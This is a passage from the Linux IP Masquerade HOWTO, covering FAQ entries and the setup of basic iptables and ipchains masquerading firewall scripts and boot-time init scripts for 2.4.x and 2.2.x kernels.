7.15.4. Linux:
7.15.5. MS Windows 95:
7.15.6. MS Windows 98:
7.15.7. MS Windows NT 4.x
7.15.8. MS Windows 2000
7.16. ( FTP ) - MASQed FTP clients don't work.
7.17. ( Performance ) - IP Masquerading seems slow
7.18. ( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods
7.19. ( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors?
7.20. ( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers?
7.21. ( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up?
7.22. ( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW!
7.23. ( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article.
7.24. ( IDENT ) - IRC won't work properly for MASQed IRC users. Why?
7.25. ( IRC DCC ) - mIRC doesn't work with DCC Sends
7.26. ( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card?
7.27. ( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other!
7.28. ( SHAPING ) - I want to be able to limit the speed of specific types of traffic
7.29. ( ACCOUNTING ) - I need to do accounting on who is using the network
7.30. ( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this?
7.31. ( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working
7.32. ( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ
7.33. ( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help!
7.34. ( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why?
7.35. ( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail!
7.36. ( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses
7.37. ( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM?
7.38. ( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working?
7.39. ( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working?
7.40. ( EQL ) - I need help with EQL connections and IP Masq
7.41. ( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms?
7.42. ( Developers ) - I want to help with IP Masquerade development. What can I do?
7.43. ( More INFO ) - Where can I find more information on IP Masquerade?
7.44. ( Translators ) - I want to translate this HOWTO to another language, what should I do?
7.45. ( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better?
7.46. ( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do?

If you can think of any useful FAQ suggestions, please send it to dranch@trinnet.net. Please clearly state the question and an appropriate answer (if you have it). Thank you!

Prev | Home | Next
Gamers: The LooseUDP patch |  | ( Distro ) - What Linux Distributions support IP Masquerading?


( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.3. ( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why?

How did you put the rc.firewall onto your machine? Did you cut&paste it into a TELNET window, FTP it from a Windows/DOS machine, etc? Try this.. log into your Linux box and run "vim -b /etc/rc.d/rc.firewall" and see if all your lines end in a ^M. If they do, delete all the ^M and try again.

Prev | Home | Next
( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform? | Up | ( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do?


( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.2. ( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform?

A 486/66 box with 16MB of RAM was more than sufficient to fill a 1.54Mb/s T1 100%! MASQ has also been known to run quite well on 386SX-16s with 8MB of RAM. Yet, it should be noted that Linux IP Masquerade starts thrashing the system with more than 500 MASQ entries.

The only application that I know which can temporarily break Linux IP Masquerade, is GameSpy. Why? When it refreshes its lists, it creates 10,000s of quick connections in a VERY short period of time. Until these sessions timeout, the MASQ tables become "FULL". See Section 7.21 of the FAQ for more details.

While we are at it:

There is a hard limit of 4096 concurrent connections each for TCP & UDP. This limit can be changed by fiddling the values in /usr/src/linux/net/ipv4/ip_masq.h - a maximum limit of 32000 should by OK. If you want to change the limit - you need to change the PORT_MASQ_BEGIN & PORT_MASQ_END values to get an appropriately sized range above 32K and below 64K.

Prev | Home | Next
( Distro ) - What Linux Distributions support IP Masquerading? | Up | ( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why?


Configuring IP Forwarding Policies

Linux IP Masquerade HOWTO
Prev Chapter 3. Setting Up IP Masquerade Next

3.4. Configuring IP Forwarding Policies

At this point, you should have your kernel and other required packages installed. All network IP addresses, gateway, and DNS addresses should be configured on your Linux MASQ server. If you don't know how to configure your Linux network cards, please consult the HOWTOs listed in either the 2.4.x Section 2.6, the 2.2.x Section 2.7, or the 2.0.x Section 2.8.

Now, the only thing left to do is to configure the IP firewalling tools to both FORWARD and MASQUERADE the appropriate packets to the correct machine.

** This section ONLY provides the user with the bare minimum firewall ruleset to get IP Masquerading working.

Once IP MASQ has been successfully tested (as described later in this HOWTO), please refer to the Stronger IPTABLES ruleset for 2.4.x kernels in Section 6.4.1, the Stronger IPCHAINS ruleset for 2.2.x kernels in Section 6.4.2, and the Stronger IPFWADM ruleset for 2.0.x kernels in Section 6.4.3. Please note that these stronger firewall rulesets are more of a template than anythingelse. For truly secure firewall rulesets, check out the the requirements section of the HOWTO ( 2.4.x - Section 2.6, 2.2.x - Section 2.7, 2.0.x - Section 2.8.

Instead of manually typing one of these files by hand, I recommend to simply browse the Example directory or download an archive of all of these rc.firewall files.

3.4.1. Configuring IP Masquerade on Linux 2.4.x Kernels

Please note that IPCHAINS is no longer the primary firewall configuration tool for the 2.4.x kernels. The new kernels now use the IPTABLES toolkit though the new 2.4.x kernels CAN still read and enable old IPCHAINS or IPFWADM rulesets via a compatiblity module. It should be noted that when in this mode, NO IPTABLES modules can be loaded. It should also be noted that none of the 2.2.x IPMASQ modules are compatible with 2.4.x kernels. For a more detailed reason for these changes, please see the Chapter 7 section.

Ok, as mentioned before, the /etc/rc.d/rc.local script will load the script called /etc/rc.d/rc.firewall once after every reboot. The script will load all required IPMASQ modules as well as enable the IPMASQ function. In advanced setups, this same file would contain very secure firewall rulesets as well.

Anyway, create the file /etc/rc.d/rc.firewall-2.4 with the following initial SIMPLE ruleset:

<rc.firewall-2.4 START>
#!/bin/sh
#
# rc.firewall-2.4
FWVER=0.63
#
#               Initial SIMPLE IP Masquerade test for 2.4.x kernels
#               using IPTABLES.
#
#               Once IP Masquerading has been tested, with this simple
#               ruleset, it is highly recommended to use a stronger
#               IPTABLES ruleset either given later in this HOWTO or
#               from another reputable resource.
#
#
#
# Log:
#       0.63 - Added support for the IRC IPTABLES module
#       0.62 - Fixed a typo on the MASQ enable line that used eth0
#              instead of $EXTIF
#       0.61 - Changed the firewall to use variables for the internal
#              and external interfaces.
#       0.60 - 0.50 had a mistake where the ruleset had a rule to DROP
#              all forwarded packets but it didn't have a rule to ACCEPT
#              any packets to be forwarded either
#            - Load the ip_nat_ftp and ip_conntrack_ftp modules by default
#       0.50 - Initial draft
#

echo -e "\n\nLoading simple rc.firewall version $FWVER..\n"

# The location of the 'iptables' program
#
#   If your Linux distribution came with a copy of iptables, most
#   likely it is located in /sbin.  If you manually compiled
#   iptables, the default location is in /usr/local/sbin
#
# ** Please use the "whereis iptables" command to figure out
# ** where your copy is and change the path below to reflect
# ** your setup
#
#IPTABLES=/sbin/iptables
IPTABLES=/usr/local/sbin/iptables

#Setting the EXTERNAL and INTERNAL interfaces for the network
#
#  Each IP Masquerade network needs to have at least one
#  external and one internal network.  The external network
#  is where the natting will occur and the internal network
#  should preferably be addressed with a RFC1918 private address
#  scheme.
#
#  For this example, "eth0" is external and "eth1" is internal"
#
#  NOTE:  If this doesnt EXACTLY fit your configuration, you must
#         change the EXTIF or INTIF variables above. For example:
#
#               EXTIF="ppp0"
#
#            if you are a modem user.
#
EXTIF="eth0"
INTIF="eth1"
echo "   External Interface:  $EXTIF"
echo "   Internal Interface:  $INTIF"

#======================================================================
#== No editing beyond this line is required for initial MASQ testing ==

echo -en "   loading modules: "

# Need to verify that all modules have all required dependencies
#
echo "  - Verifying that all kernel modules are ok"
/sbin/depmod -a

# With the new IPTABLES code, the core MASQ functionality is now either
# modular or compiled into the kernel.  This HOWTO shows ALL IPTABLES
# options as MODULES.  If your kernel is compiled correctly, there is
# NO need to load the kernel modules manually.
#
#  NOTE: The following items are listed ONLY for informational reasons.
#        There is no reason to manual load these modules unless your
#        kernel is either mis-configured or you intentionally disabled
#        the kernel module autoloader.
#

# Upon the commands of starting up IP Masq on the server, the
# following kernel modules will be automatically loaded:
#
# NOTE:  Only load the IP MASQ modules you need.  All current IP MASQ
#        modules are shown below but are commented out from loading.
# ===============================================================

#Load the main body of the IPTABLES module - "iptable"
#  - Loaded automatically when the "iptables" command is invoked
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "ip_tables, "
/sbin/insmod ip_tables

#Load the IPTABLES filtering module - "iptable_filter"
#  - Loaded automatically when filter policies are activated

#Load the stateful connection tracking framework - "ip_conntrack"
#
# The conntrack  module in itself does nothing without other specific
# conntrack modules being loaded afterwards such as the "ip_conntrack_ftp"
# module
#
#  - This module is loaded automatically when MASQ functionality is
#    enabled
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "ip_conntrack, "
/sbin/insmod ip_conntrack

#Load the FTP tracking mechanism for full FTP tracking
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -en "ip_conntrack_ftp, "
/sbin/insmod ip_conntrack_ftp

#Load the IRC tracking mechanism for full IRC tracking
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -en "ip_conntrack_irc, "
/sbin/insmod ip_conntrack_irc

#Load the general IPTABLES NAT code - "iptable_nat"
#  - Loaded automatically when MASQ functionality is turned on
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "iptable_nat, "
/sbin/insmod iptable_nat

#Loads the FTP NAT functionality into the core IPTABLES code
# Required to support non-PASV FTP.
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -en "ip_nat_ftp, "
/sbin/insmod ip_nat_ftp

# Just to be complete, here is a list of the remaining kernel modules
# and their function.  Please note that several modules should be only
# loaded by the correct master kernel module for proper operation.
# --------------------------------------------------------------------
#
#    ipt_mark       - this target marks a given packet for future action.
#                     This automatically loads the ipt_MARK module
#
#    ipt_tcpmss     - this target allows to manipulate the TCP MSS
#                     option for braindead remote firewalls.
#                     This automatically loads the ipt_TCPMSS module
#
#    ipt_limit      - this target allows for packets to be limited to
#                     to many hits per sec/min/hr
#
#    ipt_multiport  - this match allows for targets within a range
#                     of port numbers vs. listing each port individually
#
#    ipt_state      - this match allows to catch packets with various
#                     IP and TCP flags set/unset
#
#    ipt_unclean    - this match allows to catch packets that have invalid
#                     IP/TCP flags set
#
#    iptable_filter - this module allows for packets to be DROPped,
#                     REJECTed, or LOGged.  This module automatically
#                     loads the following modules:
#
#                     ipt_LOG - this target allows for packets to be
#                               logged
#
#                     ipt_REJECT - this target DROPs the packet and returns
#                                  a configurable ICMP packet back to the
#                                  sender.
#
#    iptable_mangle - this target allows for packets to be manipulated
#                     for things like the TCPMSS option, etc.

echo ".  Done loading modules."

#CRITICAL:  Enable IP forwarding since it is disabled by default since
#
#           Redhat Users:  you may try changing the options in
#                          /etc/sysconfig/network from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "   enabling forwarding.."
echo "1" > /proc/sys/net/ipv4/ip_forward

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP,
#   enable this following option.  This enables dynamic-address hacking
#   which makes the life with Diald and similar programs much easier.
#
echo "   enabling DynamicAddr.."
echo "1" > /proc/sys/net/ipv4/ip_dynaddr

# Enable simple IP forwarding and Masquerading
#
#  NOTE:  In IPTABLES speak, IP Masquerading is a form of SourceNAT or SNAT.
#
#  NOTE #2:  The following is an example for an internal LAN address in the
#            192.168.0.x network with a 255.255.255.0 or a "24" bit subnet mask
#            connecting to the Internet on external interface "eth0".  This
#            example will MASQ internal traffic out to the Internet but not
#            allow non-initiated traffic into your internal network.
#
#
#         ** Please change the above network numbers, subnet mask, and your
#         *** Internet connection interface name to match your setup
#

#Clearing any previous configuration
#
#  Unless specified, the defaults for INPUT and OUTPUT is ACCEPT
#    The default for FORWARD is DROP
#
echo "   clearing any existing rules and setting default policy.."
$IPTABLES -P INPUT ACCEPT
$IPTABLES -F INPUT
$IPTABLES -P OUTPUT ACCEPT
$IPTABLES -F OUTPUT
$IPTABLES -P FORWARD DROP
$IPTABLES -F FORWARD
$IPTABLES -t nat -F

echo "   FWD: Allow all connections OUT and only existing and related ones IN"
$IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT
$IPTABLES -A FORWARD -j LOG

echo "   Enabling SNAT (MASQUERADE) functionality on $EXTIF"
$IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE

echo -e "\nrc.firewall-2.4 v$FWVER done.\n"
<rc.firewall-2.4 STOP>

Once you are finished with editing the /etc/rc.d/rc.firewall ruleset, make it executable by typing in chmod 700 /etc/rc.d/rc.firewall-2.4

Now that the firewall ruleset is ready, you need to let it run after every reboot. You could either do this by running it by hand everytime (such a pain) or add it to the boot scripts. We have covered two methods below:

1. Redhat and Redhat-derived distros:

  • There are two ways to automatically load things in Redhat: /etc/rc.d/rc.local or a init script in /etc/rc.d/init.d/. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.. "
/etc/rc.d/rc.firewall-2.4

    to the end of the /etc/rc.d/rc.local file and thats it (as described earlier in the HOWTO).

    The problem with this approach is that the firewall isn't executed until the last stages of booting. The preferred approach is to have the firewall loaded just after the networking subsystem is loaded. To do this, copy the following file into the /etc/rc.d/init.d directory:

    <firewall-2.4 START>
    #!/bin/sh
#
# chkconfig: 2345 11 89
#
# description: Loads the rc.firewall-2.4 ruleset.
#
# processname: firewall-2.4
# pidfile: /var/run/firewall.pid
# config: /etc/rc.d/rc.firewall
# probe: true

# ----------------------------------------------------------------------------
# v02/09/02
#
# Part of the copyrighted and trademarked TrinityOS document.
# http://www.ecst.csuchico.edu/~dranch
#
# Written and Maintained by David A. Ranch
# dranch@trinnet.net
#
# Updates
# -------
#
# ----------------------------------------------------------------------------

# Source function library.
. /etc/rc.d/init.d/functions

# Check that networking is up.

# This line no longer work with bash2
#[ ${NETWORKING} = "no" ] && exit 0
# This should be OK.
[ "XXXX${NETWORKING}" = "XXXXno" ] && exit 0

[ -x /sbin/ifconfig ] || exit 0

# The location of various iptables and other shell programs
#
#   If your Linux distribution came with a copy of iptables, most
#   likely it is located in /sbin.  If you manually compiled
#   iptables, the default location is in /usr/local/sbin
#
# ** Please use the "whereis iptables" command to figure out
# ** where your copy is and change the path below to reflect
# ** your setup
#
IPTABLES=/usr/local/sbin/iptables

# See how we were called.
case "$1" in
  start)
    /etc/rc.d/rc.firewall-2.4
    ;;

  stop)
    echo -e "\nFlushing firewall and setting default policies to DROP\n"
    $IPTABLES -P INPUT DROP
    $IPTABLES -F INPUT
    $IPTABLES -P OUTPUT DROP
    $IPTABLES -F OUTPUT
    $IPTABLES -P FORWARD DROP
    $IPTABLES -F FORWARD
    $IPTABLES -F -t nat

    # Delete all User-specified chains
    $IPTABLES -X
    #
    # Reset all IPTABLES counters
    $IPTABLES -Z
    ;;

  restart)
        $0 stop
        $0 start
        ;;

  status)
        $IPTABLES -L
        ;;

  mlist)
    cat /proc/net/ip_conntrack
    ;;

  *)
        echo "Usage: firewall-2.4 {start|stop|status|mlist}"
        exit 1
esac

exit 0
    <firewall-2.4 STOP>

    With this script in place, run the command:
    chkconfig --level=345 firewall-2.4 on
    That's it! Now upon boot, the firewall will be loaded automatically.

2. Slackware:

  • There are two ways to load things in Slackware: /etc/rc.d/rc.local or editing the /etc/rc.d/rc.inet2 file. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.."

/etc/rc.d/rc.firewall-2.4

Notes on how users might want to change the above firewall ruleset:

You could also have IP Masquerading enabled on a PER MACHINE basis instead of the above method, which is enabling an ENTIRE TCP/IP network. For example, say if I wanted only the 192.168.0.2 and 192.168.0.8 hosts to have access to the Internet and NOT any of the other internal machines. I would change the in the "Enable simple IP forwarding and Masquerading" section (shown above) of the /etc/rc.d/rc.firewall ruleset.

#!/bin/sh
#
# Partial 2.4.x config to enable simple IP forwarding and Masquerading
# v0.61
#
#  NOTE:  The following is an example to allow only IP Masquerading for the
#         192.168.0.2 and 192.168.0.8 machines with a 255.255.255.0 or a
#         "/24" subnet mask connecting to the Internet on interface eth0.
#
#         ** Please change the network number, subnet mask, and the Internet
#         ** connection interface name to match your internal LAN setup
#
echo "  - Setting the default FORWARD policy to DROP"
$IPTABLES -P FORWARD DROP

echo "  - Enabling SNAT (IPMASQ) functionality on $EXTIF"
$IPTABLES -t nat -A POSTROUTING -o $EXTIF -s 192.168.0.2/32 -j MASQUERADE
$IPTABLES -t nat -A POSTROUTING -o $EXTIF -s 192.168.0.8/32 -j MASQUERADE

echo "  - Setting the FORWARD policy to 'DROP' all incoming / unrelated traffic"
$IPTABLES -A INPUT -i $EXTIF -m state --state NEW,INVALID -j DROP
$IPTABLES -A FORWARD -i $EXTIF -m state --state NEW,INVALID -j DROP

Common mistakes:

It appears that a common mistake with new IP Masq users is to make the first command simply the following:

IPTABLES:
---------
iptables -t nat -A POSTROUTING -j MASQUERADE

Do NOT make your default policy MASQUERADING. Otherwise, someone can manipulate their routing tables to tunnel straight back through your gateway, using it to masquerade their OWN identity!

Again, you can add these lines to the /etc/rc.d/rc.firewall file, one of the other rc files you prefer, or do it manually every time you need IP Masquerade.

Please see Section 6.4.1 for a detailed guide on a strong IPTABLES ruleset example. For additional details on IPTABLES usage, please refer to http://netfilter.filewatcher.org/ (mirror at Samba.org) for the primary IPTABLES site.

3.4.2. Configuring IP Masquerade on Linux 2.2.x Kernels

Please note that IPFWADM is no longer the firewall tool for manipulating IP Masquerading rules for both the 2.1.x and 2.2.x kernels. These new kernels now use the IPCHAINS toolkit. For a more detailed reason for this change, please see Chapter 7.

Create the file /etc/rc.d/rc.firewall-2.2 with the following initial SIMPLE ruleset:

<rc.firewall-2.2 START>
#!/bin/sh
#
# rc.firewall-2.2
FWVER="1.01"
#
#     - Initial SIMPLE IP Masquerade test for 2.1.x and 2.2.x kernels
#       using IPCHAINS.
#
#       Once IP Masquerading has been tested, with this simple
#       ruleset, it is highly recommended to use a stronger
#       IPTABLES ruleset either given later in this HOWTO or
#       from another reputable resource.
#
echo -e "\n\nLoading simple rc.firewall version $FWVER..\n"

#Setting the EXTERNAL and INTERNAL interfaces for the network
#
#  Each IP Masquerade network needs to have at least one
#  external and one internal network.  The external network
#  is where the NATing will occur and the internal network
#  should preferably be addressed with a RFC1918 private addressing
#  scheme.
#
#  For this example, "eth0" is external and "eth1" is internal"
#
#  NOTE:  If this doesnt EXACTLY fit your configuration, you must
#         change the EXTIF or INTIF variables above. For example:
#
#               EXTIF="ppp0"
#
#            if you are a modem user.
#
#  ** Please change this to reflect your specific configuration **
#
EXTIF="eth0"
INTIF="eth1"
echo "   External Interface:  $EXTIF"
echo "   Internal Interface:  $INTIF"

# Network Address of the Internal Network
#
#   This example rc.firewall file uses the 192.168.0.0 network
#   with a /24 or 255.255.255.0 netmask.
#
#    ** Change this variable to reflect your specific setup **
#
INTLAN="192.168.0.0/24"
echo -e "   Internal Interface:  $INTLAN\n"

# Load all required IP MASQ modules
#
#   NOTE:  Only load the IP MASQ modules you need.  All current IP MASQ modules
#          are shown below but are commented out from loading.
echo "   loading required IPMASQ kernel modules.."

# Needed to initially load modules
#
/sbin/depmod -a

echo -en "   Loading modules: "

# Supports the proper masquerading of FTP file transfers using the PORT method
#
echo -en "FTP, "
/sbin/modprobe ip_masq_ftp

# Supports the masquerading of RealAudio over UDP.  Without this module,
#       RealAudio WILL function but in TCP mode.  This can cause a reduction
#       in sound quality
#
#echo -en "RealAudio, "
#/sbin/modprobe ip_masq_raudio

# Supports the masquerading of IRC DCC file transfers
#
#echo -en "Irc, "
#/sbin/modprobe ip_masq_irc

# Supports the masquerading of Quake and QuakeWorld by default.  This modules is
#   for for multiple users behind the Linux MASQ server.  If you are going to
#   play Quake I, II, and III, use the second example.
#
#   NOTE:  If you get ERRORs loading the QUAKE module, you are running an old
#   -----  kernel that has bugs in it.  Please upgrade to the newest kernel.
#
#echo -en "Quake, "
#Quake I / QuakeWorld (ports 26000 and 27000)
#/sbin/modprobe ip_masq_quake
#
#Quake I/II/III / QuakeWorld (ports 26000, 27000, 27910, 27960)
#/sbin/modprobe ip_masq_quake 26000,27000,27910,27960

# Supports the masquerading of the CuSeeme video conferencing software
#
#echo -en "CuSeeme, "
#/sbin/modprobe ip_masq_cuseeme

#Supports the masquerading of the VDO-live video conferencing software
#
#echo -en "VdoLive "
#/sbin/modprobe ip_masq_vdolive

echo ".  Done loading modules."

#CRITICAL:  Enable IP forwarding since it is disabled by default since
#
#           Redhat Users:  you may try changing the options in
#                          /etc/sysconfig/network from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "   enabling forwarding.."
echo "1" > /proc/sys/net/ipv4/ip_forward

#CRITICAL:  Enable automatic IP defragmenting since it is disabled by default
#           in 2.2.x kernels.  This used to be a compile-time option but the
#           behavior was changed in 2.2.12
#
echo "   enabling AlwaysDefrag.."
echo "1" > /proc/sys/net/ipv4/ip_always_defrag

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP, enable this
#   following option.  This enables dynamic-ip address hacking in IP MASQ,
#   making the life with Diald and similar programs much easier.
#
#echo "   enabling DynamicAddr.."
#echo "1" > /proc/sys/net/ipv4/ip_dynaddr

# Enable the LooseUDP patch which some Internet-based games require
#
#  If you are trying to get an Internet game to work through your IP MASQ box,
#  and you have set it up to the best of your ability without it working, try
#  enabling this option (delete the "#" character).  This option is disabled
#  by default due to possible internal machine UDP port scanning
#  vulnerabilities.
#
#echo "   enabling LooseUDP.."
#echo "1" > /proc/sys/net/ipv4/ip_masq_udp_dloose

#Clearing any previous configuration
#
#  Unless specified, the defaults for INPUT and OUTPUT is ACCEPT
#    The default for FORWARD is REJECT
#
echo "   clearing any existing rules and setting default policy.."
/sbin/ipchains -P input ACCEPT
/sbin/ipchains -P output ACCEPT
/sbin/ipchains -P forward REJECT
/sbin/ipchains -F input
/sbin/ipchains -F output
/sbin/ipchains -F forward

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  160 sec timeout for UDP traffic (Important for MASQ'ed ICQ users)
#
echo "   setting default timers.."
/sbin/ipchains -M -S 7200 10 160

# DHCP:  For people who receive their external IP address from either DHCP or
#        BOOTP such as ADSL or Cablemodem users, it is necessary to use the
#        following before the deny command.
#
#        This example is currently commented out.
#
#
#/sbin/ipchains -A input -j ACCEPT -i $EXTIF -s 0/0 67 -d 0/0 68 -p udp

# Enable simple IP forwarding and Masquerading
#
#  NOTE:  The following is an example for an internal LAN address in the
#         192.168.0.x network with a 255.255.255.0 or a "24" bit subnet mask
#         connecting to the Internet on interface eth0.
#
#         ** Please change this network number, subnet mask, and your Internet
#         ** connection interface name to match your internal LAN setup
#
echo "   enabling IPMASQ functionality on $EXTIF"
/sbin/ipchains -P forward DENY
/sbin/ipchains -A forward -i $EXTIF -s $INTLAN -j MASQ

echo -e "\nrc.firewall-2.2 v$FWVER done.\n"
<rc.firewall-2.2 STOP>

Once you are finished with editing the /etc/rc.d/rc.firewall ruleset, make it executable by typing in chmod 700 /etc/rc.d/rc.firewall

Now that the firewall ruleset is ready, you need to let it run after every reboot. You could either do this by running it by hand everytime (such a pain) or add it to the boot scripts. We have covered two methods below:

1. Redhat and Redhat-derived distros:

  • There are two ways to automatically load things in Redhat: /etc/rc.d/rc.local or a init script in /etc/rc.d/init.d/. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.."
/etc/rc.d/rc.firewall-2.2

    to the end of the /etc/rc.d/rc.local file and thats it (as described earlier in the HOWTO).

    The problem with this approach is that the firewall isn't executed until the last stages of booting. The preferred approach is to have the firewall loaded just after the networking subsystem is loaded. To do this, copy the following file into the /etc/rc.d/init.d directory:

    <firewall-2.2 START>
    #!/bin/sh
#
# chkconfig: 2345 11 89
#
# description: Loads the rc.firewall-2.2 ruleset.
#
# processname: firewall-2.2
# pidfile: /var/run/firewall.pid
# config: /etc/rc.d/rc.firewall
# probe: true

# ----------------------------------------------------------------------------
# v02/09/02
#
# Part of the copyrighted and trademarked TrinityOS document.
# http://www.ecst.csuchico.edu/~dranch
#
# Written and Maintained by David A. Ranch
# dranch@trinnet.net
#
# Updates
# -------
#
# ----------------------------------------------------------------------------

# Source function library.
. /etc/rc.d/init.d/functions

# Check that networking is up.

# This line no longer work with bash2
#[ ${NETWORKING} = "no" ] && exit 0
# This should be OK.
[ "XXXX${NETWORKING}" = "XXXXno" ] && exit 0

[ -x /sbin/ifconfig ] || exit 0

# The location of various iptables and other shell programs
#
#   If your Linux distribution came with a copy of iptables, most
#   likely it is located in /sbin.  If you manually compiled
#   iptables, the default location is in /usr/local/sbin
#
# ** Please use the "whereis iptables" command to figure out
# ** where your copy is and change the path below to reflect
# ** your setup
#
IPCHAINS=/sbin/ipchains

# See how we were called.
case "$1" in
  start)
    /etc/rc.d/rc.firewall-2.4
    ;;

  stop)
    echo -e "\nFlushing firewall and setting default policies to REJECT\n"

    $IPCHAINS -P input REJECT
    $IPCHAINS -P output REJECT
    $IPCHAINS -P forward REJECT

    $IPCHAINS -F input
    $IPCHAINS -F output
    $IPCHAINS -F forward
    ;;

  restart)
    $0 stop
    $0 start
    ;;

  status)
    $IPCHAINS -L
    ;;

  mlist)
    $IPCHAINS -M -L
    ;;

  *)
    echo "Usage: firewall-2.2 {start|stop|status|mlist}"
    exit 1
esac

exit 0
    <firewall-2.2 STOP>

    With this script in place, run the command:
    chkconfig --level=345 firewall-2.2 on
    That's it! Now upon boot, the firewall will be loaded automatically.

2. Slackware:

  • There are two ways to load things in Slackware: /etc/rc.d/rc.local or editing the /etc/rc.d/rc.inet2 file. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.."

/etc/rc.d/rc.firewall-2.2

    to the end of the /etc/rc.d/rc.local file and thats it. The problem with this approach is that if you are running a STRONG firewall ruleset, the firewall isn't executed until the last stages of booting. The preferred approach is to have the firewall loaded just after the networking subsystem is loaded. For now, the HOWTO only covers how to do so using /etc/rc.d/rc.local. If you want a stronger system, I recommend you check out Section 10 of TrinityOS found in the links section at the bottom of this HOWTO.

Notes on how users might want to change the above firewall ruleset:

You could also have IP Masquerading enabled on a PER MACHINE basis instead of the above method, which is enabling an ENTIRE TCP/IP network. For example, say if I wanted only the 192.168.0.2 and 192.168.0.8 hosts to have access to the Internet and NOT any of the other internal machines. I would change the in the "Enable simple IP forwarding and Masquerading" section (shown above) of the /etc/rc.d/rc.firewall ruleset.

#!/bin/sh
#
# Enable simple IP forwarding and Masquerading
# v1.01
#
#  NOTE:  The following is an example used in addition to the simple
#         IPCHAINS ruleset anove to allow only IP Masquerading for the
#         192.168.0.2 and 192.168.0.8 machines with a 255.255.255.0 or a
#         "24" bit subnet mask connecting to the Internet on interface $EXTIF.
#
#         ** Please change the network number, subnet mask, and the Internet
#         ** connection interface name to match your internal LAN setup
#
/sbin/ipchains -P forward DENY
/sbin/ipchains -A forward -i $EXTIF -s 192.168.0.2/32 -j MASQ
/sbin/ipchains -A forward -i $EXTIF -s 192.168.0.8/32 -j MASQ

Common mistakes:

What appears to be a common mistake with new IP MASQ users is to make the first command:

/sbin/ipchains -P forward masquerade

Do NOT make your default policy MASQUERADING. Otherwise, someone can manipulate their routing tables to tunnel straight back through your gateway, using it to masquerade their OWN identity!

Again, you can add these lines to the /etc/rc.d/rc.firewall file, one of the other rc files you prefer, or do it manually every time you need IP Masquerade.

Please see Section 6.4.2 for a detailed guide on IPCHAINS and a strong IPCHAINS ruleset example. For additional details on IPCHAINS usage, please refer to http://netfilter.filewatcher.org/ipchains/ (mirror at Samba.org) for the primary IPCHAINS site or the Linux IP CHAINS HOWTO Backup site

3.4.3. Configuring IP Masquerade on Linux 2.0.x Kernels

Create the file /etc/rc.d/rc.firewall with the following initial SIMPLE ruleset: <rc.firewall-2.0 START>
#!/bin/sh
#
# rc.firewall-2.0
FWVER="2.01"
#
#      - Initial SIMPLE IP Masquerade setup for 2.0.x kernels using
#        IPFWADM
#
#        Once IP Masquerading has been tested, with this simple
#        ruleset, it is highly recommended to use a stronger
#        IPTABLES ruleset either given later in this HOWTO or
#        from another reputable resource.
#
echo -e "\n\nLoading simple rc.firewall version $FWVER..\n"

#Setting the EXTERNAL and INTERNAL interfaces for the network
#
#  Each IP Masquerade network needs to have at least one
#  external and one internal network.  The external network
